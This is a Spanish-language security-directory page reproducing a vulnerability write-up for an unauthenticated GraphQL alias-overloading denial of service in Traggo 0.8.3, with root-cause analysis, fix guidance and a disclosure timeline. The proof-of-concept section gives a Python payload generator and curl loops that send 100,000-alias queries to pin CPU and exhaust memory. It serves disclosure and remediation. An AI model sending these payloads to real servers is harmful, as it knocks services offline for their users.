Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-117184 — Prueba de concepto y análisis técnico de CVE-2026-117184, una denegación de servicio no autenticada por sobrecarga de alias en GraphQL en Traggo 0.8.3, con generador de payload y guía de corrección. | Kitploit
Herramientas/GitHubGitHub/primandito/cve-2026-117184
Análisis de VulnerabilidadesSeguridad WebSeguridad de APIs
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Prueba de concepto y análisis técnico de CVE-2026-117184, una denegación de servicio no autenticada por sobrecarga de alias en GraphQL en Traggo 0.8.3, con generador de payload y guía de corrección.

Ver Repositorio
hace 18 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    603
  • 3

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingiere informes de Shadowserver en MongoDB y los reproduce como mapas interactivos, análisis, hallazgos, avisos y paneles ejecutivos.

    390
  • 4

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    321
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    301
  • 6

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    263

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-117184 — Denegación de servicio no autenticada mediante sobrecarga de alias en GraphQL en Traggo 0.8.3

CVE Version Status CVE State

Resumen

El servidor Traggo v0.8.3 es vulnerable a una Denegación de Servicio (DoS) no autenticada. El endpoint GraphQL acepta un número ilimitado de campos con alias y no tiene límite de tamaño del cuerpo de la solicitud. Dado que el campo version carece de la directiva @hasRole, esto puede desencadenarse sin iniciar sesión.

Un documento manipulado con muchos alias (p. ej., {v0:version{name} v1:version{name} ...}) obliga al servidor a dedicar mucho tiempo a resolver campos y a asignar memoria en exceso. Una sola solicitud con 100.000 alias (una carga útil de 2,0 MB) mantiene ocupado un núcleo de CPU durante más de 100 segundos y consume casi 1 GB de RAM. Las solicitudes en paralelo pueden llevar fácilmente el proceso a territorio OOM (Out of Memory).

CampoValor
ID de CVECVE-2026-117184
Registro oficialcve.org/CVERecord?id=CVE-2026-117184
Versión afectadaTraggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
Tipo de vulnerabilidadCWE-400: Consumo incontrolado de recursos (DoS)
Vector de ataqueRed
Privilegios requeridosNinguno (no autenticado)
Componente afectadoEndpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Informe originaltraggo/server#253

Archivos afectados

Ruta de archivoDescripción
graphql/handler.goConfiguración del handler sin límite de complejidad ni límite de tamaño del cuerpo.
schema.graphqlEl campo version carece de directiva de autenticación.
auth/hasrole.goImplementación de la directiva (omitida para version).
graphql/resolver.goEl resolver de version se invoca para cada alias.
logger/gql.goLa consulta sin procesar se registra en los errores, lo que amplifica el impacto del tamaño del cuerpo.

Análisis de la causa raíz

1. Configuración del handler sin límites

graphql/handler.go:13-27 — nunca se pasa handler.ComplexityLimit(...). El cuerpo de la solicitud va directamente a gqlHandler.ServeHTTP sin http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Campo version sin autenticación

schema.graphql:62 — Mientras que otros campos tienen @hasRole(role: USER), el campo version no lo tiene, lo que lo hace accesible sin un encabezado Authorization.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Amplificación de resolvers

graphql/resolver.go:67-71 — Cada alias en el conjunto de selección invoca el resolver por separado, multiplicando el uso de CPU y memoria.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. Comportamiento predeterminado de gqlgen

gqlgen v0.17.85 solo habilita el límite de complejidad cuando la aplicación lo establece explícitamente (handler/handler.go:59-67). Dado que Traggo no lo hace, cfg.complexityLimit es 0 y no se añade ninguna extensión.

5. Amplificación del registro

logger/gql.go:27-36 — Incluso si la consulta falla, se registra la consulta sin procesar. Una carga útil de 20 MB genera una entrada de registro de 20 MB por solicitud.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Prueba de concepto

Probado en v0.8.3, compilado desde el código fuente con go build (Go 1.24.4, SQLite, 4 núcleos, 7.7 GB de RAM).

Paso 1: Verificar el acceso no autenticado

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Paso 2: Generar el payload

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(El archivo de 100k es de 2.088.904 bytes).

Paso 3: Enviar y medir

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliasTamaño de la solicitudTiempoNotas
5,00099 KB0.15 s
20,000409 KB2.37 s
50,0001.0 MB24.47 s100% de un núcleo
100,0002.0 MB102.56 sRSS 962 MB

Paso 4: Ejecución en paralelo

Tres solicitudes de 50k en paralelo mostraron un uso de CPU del 291-299% en una máquina de 4 núcleos. El servidor no se cae inmediatamente, pero las consultas pequeñas siguen respondiendo (alrededor de 1 ms) mientras se ejecutan las grandes. El problema principal es la fijación de CPU y un posible OOM.


Corrección recomendada

1. Establecer el límite de complejidad y el límite de tamaño del cuerpo

Aplicar los límites en graphql/handler.go:

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Nota: Con ComplexityLimit(1000), la consulta de alias de 50k falla en 0.17s con un error: operation has complexity 100000, which exceeds the limit of 1000.

2. Restringir el campo version

Si version no necesita ser público, añade @hasRole(role: USER) a schema.graphql:

version: Version! @hasRole(role: USER)

Entorno

ComponenteVersión
Traggo Serverv0.8.3 (commit 6321119c...)
Go1.24.4
gqlgen0.17.85
Base de datosSQLite
SOLinux (4 núcleos, 7.7 GB de RAM)

Cronología

FechaEvento
2026-10-22Issue #253 reportado al repositorio del servidor de Traggo
2026-10-30Registro oficial de CVE publicado en cve.org
—A la espera de la respuesta del mantenedor sobre la corrección

Referencias

Descargar herramienta